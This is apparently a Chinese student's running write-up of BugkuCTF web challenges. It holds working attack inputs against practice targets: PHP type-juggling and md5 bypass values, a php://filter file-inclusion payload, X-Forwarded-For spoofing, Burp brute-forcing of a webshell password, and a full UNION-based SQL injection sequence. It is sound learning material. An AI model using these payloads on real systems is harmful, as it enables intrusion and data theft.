0x00.前言

1.记录学习过程

2.来源于BugkuCTF web项目

3.持续更新


0x01.web2

听说聪明的人都能找到答案http://123.206.87.240:8002/web2/ (20分)

白给题

F12然后Ctrl+f搜索flag即可


0x02.计算器

http://123.206.87.240:8002/yanzhengma/ (30分)

F12 把maxlength="1"改成2即可


0x03web基础$_GET

http://123.206.87.240:8002/get/ (30分)

发送简单的GET请求

?what=flag即可


0x04.web基础$_POST

http://123.206.87.240:8002/post/ (30分)

发送简单的POST请求

在Linux中发送

 curl -d "what=flag" "http://123.206.87.240:8002/post/"

即可得到flag

笔记:

*curl用于模拟HTTP请求,-d指定post数据,(显示请求详细信息,包括请求和响应首部 -v选项)

*常见的curl请求选项-sSfL表示: 不显示进度信息,显示错误信息,发生HTTP错误时失败,自动跟踪重定向


0x05.矛盾

http://123.206.87.240:8002/get/index1.php (30分)

分析:初看代码分析通过_GET到的num必须是非整数或整数字符串,但在判断时必须保证与1做比较运算时要返回true

显然此题考的是php弱类型的利用

可考虑末尾+字符串绕过或者通过科学计数法绕过:

?num=1abcd

或者?num=1e0.

即可

笔记: *整数字符串在做==比较运算时,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0

*通过自己写代码调试发现,如果输入?num=1,默认返回字符串类型的1(感谢部门摸鱼的kaii学长的指点!)

*is_numeric()函数判断的是是否为整数或者整数字符串


0x06.web3

flag就在这里快来找找吧 http://123.206.87.240:8002/web3/ (30分)

F12后发现了一串奇怪的数字

 KEY{J2sa42ahJK-HS11III}

总感觉是某种编码,复制粘贴到Google中,发现已经被自动转义成flag了

这里直接复制到markdowm中也会发现自动转义为了flag

KEY{J2sa42ahJK-HS11III}

还是不明白为啥

Google发现,这一串编码为html转义序列,具体可Google查看


0x07.域名解析

听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag (50分)

这道题首先拿到一点也没思路,Google搜域名解析发现一些知识点

方法一:

重要的内容:在C盘的Windows\System32\drivers\etc下有个hosts文件,在里面可以在最后一行添加IP地址和域名达到解析域名的作用(格式是IP 域名),原理是在访问一个域名时,windows会先参考此文件内容来将你访问的域名映射到对应IP上,如果不存在则再从DNS服务器请求对应的IP地址

但是我在实际操作过后访问域名显示的是该网站未根据工信部相关法律规则进行备案(似曾相识的场景),所以利用这种方法并没有Get到flag

方法二:

在方法一失败后,菜鸡的我尝试查看一些大佬的参考答案,终于还是遇到了之前学长用过的Burp Suite工具,在经过了漫长的下载配置环境之后跟着教程一步一步的使用最终还是得到了flag。过程是先抓包,然后把获取的信息右键Send to repeater,把host信息改成flag.baidu.com再点击Go即可获取flag

笔记:

*Burp Suite必须配置最新的java环境

*在Proxy-Options里面对应的端口号要和系统代理的端口号一致


0x08.你必须让他停下

http://123.206.87.240:8002/web12/ (60分)

初看题目也不是很明白,查看源代码过后发现刷新网页图片资源要变,后面的flag_is_here有问题,一直刷新知道显示出flag即可(不要点快了!!)

ctf的题目真够奇怪的orn......


0x09.


0x10.变量1

http://123.206.87.240:8004/index1.php(60分)

其实在前面几道题过后,我基本上都做不来了,只有看别人的writeup学知识23333

这道题涉及php变量,看代码发现有双$符号的变量,再看到eval函数,这里用到超级全局变量$GLOBALS变量数组,直接可以显示出全局变量,得到flag!

*超级全局变量数组 $GLOBALS

*eval函数表示执行括号里面的表达式,和Python中的eval函数差不多都有危险函数的特性


0x11.web5

JSPFUCK??????答案格式CTF{**}

http://123.206.87.240:8002/web5/

字母大写(60分)

这道题右键发现一长串非常非常非常可疑的代码

Google得知是匿名js函数,而且直接在console里面复制粘贴运行可以得到结果,这里直接得到flag!

*匿名js函数:长得非常丑的一串代码,目的是为了隐藏js代码,可以直接隐藏一些危险函数


0x12.头等舱

http://123.206.87.240:9009/hd.php (60分)

这道题直接可以在Response Headers里面找到flag


0x13.网站被黑

http://123.206.87.240:8002/webshell/

这个题没技术含量但是实战中经常遇到(60分)

毫无头绪,直接Google,获取知识点:

*webshell

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

顾名思义,"web"的含义是显然需要服务器开放web服务,"shell"的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。 *工具:

Burp Suite

御剑后台扫描工具

*过程:

直接扫描出后台有个shell.php

然后要求输入密码,用burp抓包,右键send to inturder,payloads用password直接start attack,爆破出密码为hack,得到flag!

(学到了许多23333)


0x14.管理员系统

http://123.206.31.85:1003/(60分)

flag格式flag{}

这道题依然看别人的writeup

看源代码发现一个base64加密的代码,解密后得到test123,看到这我就直接想到burp爆破了,结果把test123当成了账号

再看别人的解题思路,发现他们直接想到test123是密码,害,还是经验不足啊

然后还是登不上去

这里用到X-Forwarded-For,(简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP )

伪造一个XFF头,伪装成本地登录,X-Forwarded_For: 127.0.0.1

得到flag

注:第32题跟这道题原理一样,并且更简单,这样又嫖到了100分(逃。。)


0x15.web4

看看源代码吧

http://123.206.87.240:8002/web4/ (80分)

我十分不相信这道题我竟然独立的做出来了,高兴!!

看源代码,发现有3串加密字符,直接在网上随便一个解密工具里面一个一个试,试出来发现是Hex编码,再按照代码拼接的意思,把hex编码拼接出来得到中间一串可疑字符,猜测为submit提交的密码,输入字符submit得到flag!


0x16.flag在index里面

http://123.206.87.240:8005/post/ (80分)

这道题点开“click me”发现url中变成了file=show.php,把show.php改成index.php后F12发现标题陷入死循环,我他吗直接看攻略。

将url改成file=php://filter/read=convert.base64-encode/resource=index.php即可

收获知识点:

*此题考查文件包含漏洞和利用php://filter读取文件内容

*php://filter

这是一种元封装器,用于筛选打开读入的数据流。大概是啥我也不是很懂。

名称描述必要性
resource=<要过滤的数据流>指定要筛选的数据流,即目标必须
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符分割可选
write=<写链的筛选列表>同上可选
<;两个链的筛选列表>任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

反正是遇到file大概率可以用file=php://filter

*摘自 谈谈php://filter的妙用

$content被加上了``以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。


0x17.输入密码查看flag

http://123.206.87.240:8002/baopo/

作者:Se7en

一看url--baopo????

直接burpsuite抓包设置payload为10000到99999爆破即可。

*5位数密码!!!!!不要看错了!!最开始我看错了还不知道咋设置payload蒙了半天搞不出来。


0x18.


0x19.备份是个好习惯

http://123.206.87.240:8002/web16/ (80分)

听说备份是个好习惯

这道题我TM直接看大佬的wp

*用到工具:SourceLeakHacker

直接python SourceLeakHacker --url http://123.206.87.240:8002/web16/ 查出来有index.php.bak

下载下来为网页源代码

 <?php
 include_once "flag.php";
 ini_set("display_errors", 0);
 $str = strstr($_SERVER['REQUEST_URI'], '?');
 $str = substr($str,1);
 $str = str_replace('key','',$str);
 parse_str($str);
 echo md5($key1);
 echo md5($key2);
 if(md5($key1) == md5($key2) && $key1 !== $key2){
   echo $flag."取得flag";
 }?>

看代码显然考差md5绕过,构造?kekeyy1=240610708&kkeyey2=s214587387a 即可得到flag

直接上知识点:

*SourceLeakHacker工具为挖出网页的sources(奇怪的工具增加了.jpg)

*strstr()函数为查找字符串的首次出现(上面是以?开始的往后的字符串)

*substr()函数是字符串的分片操作(上面是从第一个(也就是第0号元素)开始截取往后的字符串)

*str_replace()是替换字符串(上面是将$str中的key换成空字符(也就是啥也没有))

*parse_str()是将字符串解析成多个变量

*md5()函数绕过方法:

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

1.以下值在md5加密后以0E开头:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a

2.PHP中md5的函数特性(数组绕过)

 md5([1,2,3]) == md5([4,5,6]) == NULL

[1] !== [2] && md5([1]) === md5([2]) 所以GET传入a[]=1&b[]=2就能够绕过了。

3.MD5碰撞

关于两个相同md5值的不同字符:

 Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
 Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

还有很多类似的可以直接Google,注意一点,post时一定要urlencode。


0x20.成绩单

考察SQL注入

http://123.206.87.240:8002/chengjidan/index.php

0' order by 1 --+ 失败 0' order by 1 -- 失败 1' order by 1 -- 成功 1' order by 5 -- 失败 查询得到字段为4 1' union select 1,2,3,4 from information_schema.tables limit 1,2-- 成功 联合查询有用 1' union select 1,2,3,database() limit 1,2-- 查到当前数据库为skctf_flag 1' union select 1,2,3,table_name from information_schema.tables where table_schema ='skctf_flag' limit 1,2-- 查到fl4g表,应该存放了我们想要的flag 1' union select 1,2,3,column_name from information_schema.columns where table_name ='fl4g' limit 1,2-- 查询到skctf_flag字段 1' union select 1,2,3,skctf_flag from skctf_flag.fl4g limit 1,2-- 爆出flag!


0x21.秋名山老司机

http://123.206.87.240:8002/qiumingshan/

是不是老司机试试就知道。

打开题目一看,叫你计算一长串数字,很显然要自己写script,但是得找到提交选项,多刷新几次网页发现下面这段Give me value post about,猜测value为post提交的变量。

写(抄)Python代码如下:

 import requests
 import re
 url = 'http://123.206.87.240:8002/qiumingshan/'
 s = requests.Session()
 source = s.get(url)#获取页面对象
 expression = re.search(r'(\d+[+\-/*])+\d+', source.text).group()
 #正则匹配想要的表达式
 result = eval(expression)#计算正则匹配的内容
 post = {'value': result}
 print(s.post(url, data = post).text)

知识点:

*正则表达式(我!!实在是不想看这个知识!!)

*reqeusts的用法 s = requests.Session()可以保证post和get在同一会话中进行


0x22.速度要快

速度要快!!!!!!

http://123.206.87.240:8002/web6/

格式KEY{xxxxxxxxxxxxxx}(100分)

这道题最开始用burpsuite抓包得到一个虚假flag

后面查看攻略发现要把得到的flagPOST出去,看来只能写Python了

 import requests
 import base64
 req = requests.Session()
 url = 'http://123.206.87.240:8002/web6/'
 res = req.get(url)
 flag = res.headers['flag']
 flag = base64.b64decode(flag)
 flag = str(flag,encoding='utf-8')
 flag = flag.split(': ')[1]
 flag = base64.b64decode(flag)
 margin = {'margin':flag}
 text = req.post(url,margin).content
 print(str(text,encoding='utf-8'))

知识点:

*代码一直跑不对的原因:得到的flag应该base64解码2次

*注意各对象的格式与格式转换


我啥也不会!